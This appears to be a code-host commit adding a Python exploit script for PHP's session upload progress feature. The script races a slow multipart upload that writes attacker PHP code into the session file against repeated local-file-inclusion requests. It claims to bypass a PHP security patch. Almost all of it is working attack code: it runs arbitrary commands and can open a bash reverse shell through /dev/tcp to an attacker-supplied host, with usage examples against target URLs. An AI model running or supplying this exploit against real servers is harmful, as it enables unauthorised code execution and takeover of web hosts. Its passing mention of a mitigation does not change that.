PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)
Full RCE exploit chain for two critical PHP vulnerabilities in the multipart parser and session upload progress handler, plus three bypass exploits that defeat the official security patch (PHP 8.4.27) and all recommended mitigations. Core exploits: - CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE - CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE - WordPress-targeted wrapper with LFI auto-detection Patch bypass exploits (confirmed RCE on PHP 8.4.27): - Race condition: TOCTOU inherent to upload progress feature design - RLIMIT_AS: mmap() failure bypasses the patched OOM handler - /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
Executable
+265
@@ -0,0 +1,265 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
|
||||
|
||||
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
||||
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
|
||||
with a soft/hard OOM that ensures proper cleanup.
|
||||
|
||||
However, the session upload progress race condition is NOT fixed by the patch.
|
||||
This is because the race window is inherent to the feature's design:
|
||||
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
|
||||
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
|
||||
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
|
||||
3. The data persists on disk for the duration of the file upload
|
||||
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
|
||||
5. A concurrent request can include the session file via LFI during this window
|
||||
|
||||
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
|
||||
close this inherent TOCTOU race. The advisory acknowledges this by recommending
|
||||
session.upload_progress.enabled=0 even after patching.
|
||||
|
||||
Requirements:
|
||||
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
|
||||
- An LFI vector in the target application
|
||||
- Known or guessable session.save_path
|
||||
- Multiple FPM workers (pm.max_children > 1)
|
||||
|
||||
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
|
||||
|
||||
Usage:
|
||||
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
]
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=60):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
def recv_all(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" in resp:
|
||||
return resp.split(b"\r\n\r\n", 1)[1]
|
||||
return resp
|
||||
|
||||
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
|
||||
"""Send slow multipart upload to keep session file populated on disk."""
|
||||
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
|
||||
head = (
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
b"\r\n" + php_code + b"\r\n"
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
)
|
||||
file_size = 4 * 1024 * 1024
|
||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||
total = len(head) + file_size + len(tail)
|
||||
|
||||
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
+ head
|
||||
)
|
||||
sent = 0
|
||||
t0 = time.time()
|
||||
try:
|
||||
while sent < file_size and (time.time() - t0) < duration:
|
||||
sock.sendall(b"\x00" * 4096)
|
||||
sent += 4096
|
||||
time.sleep(0.04)
|
||||
sock.sendall(tail)
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
recv_all(sock, timeout=2)
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
|
||||
def lfi_probe(host, port, tls, lfi_path, sid):
|
||||
"""Send LFI request and return response body."""
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
def run(args):
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
|
||||
spaths = list(SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||
|
||||
if args.trigger_only:
|
||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||
elif args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
|
||||
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" LFI param : {args.lfi_param}")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
for attempt in range(args.attempts):
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
||||
|
||||
t = threading.Thread(
|
||||
target=slow_upload,
|
||||
args=(host, port, tls, path, sid, php_code, 10.0),
|
||||
daemon=True,
|
||||
)
|
||||
t.start()
|
||||
time.sleep(0.3)
|
||||
|
||||
hit = False
|
||||
for i in range(400):
|
||||
if not t.is_alive():
|
||||
break
|
||||
for sp in spaths:
|
||||
sess_file = f"{sp}/sess_{sid}"
|
||||
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
|
||||
try:
|
||||
resp = lfi_probe(host, port, tls, lfi_path, sid)
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
|
||||
rbody.decode(errors="replace"))
|
||||
print(f"\n[+] Code execution confirmed!")
|
||||
if m:
|
||||
print(f" {m.group(1)}")
|
||||
elif args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END",
|
||||
rbody.decode(errors="replace"), re.DOTALL)
|
||||
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(result)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
else:
|
||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||
|
||||
print()
|
||||
print("[+] RCE achieved against PATCHED PHP!")
|
||||
print("[+] The 2026-10-21 security patch does NOT fix this.")
|
||||
print("[+] Mitigation: session.upload_progress.enabled=0")
|
||||
hit = True
|
||||
break
|
||||
except:
|
||||
pass
|
||||
if hit:
|
||||
break
|
||||
time.sleep(0.005)
|
||||
|
||||
t.join(timeout=2)
|
||||
if hit:
|
||||
return
|
||||
print(f" Race lost")
|
||||
|
||||
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
This exploit demonstrates that the PHP security patch (2026-10-21)
|
||||
does NOT fix the session upload progress race condition.
|
||||
|
||||
The only effective mitigation is: session.upload_progress.enabled=0
|
||||
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id'
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability only")
|
||||
ap.add_argument("--lfi-param", default="page",
|
||||
help="LFI query parameter (default: page)")
|
||||
ap.add_argument("--session-path",
|
||||
help="session.save_path on target")
|
||||
ap.add_argument("--attempts", type=int, default=10,
|
||||
help="Race attempts (default: 10)")
|
||||
args = ap.parse_args()
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user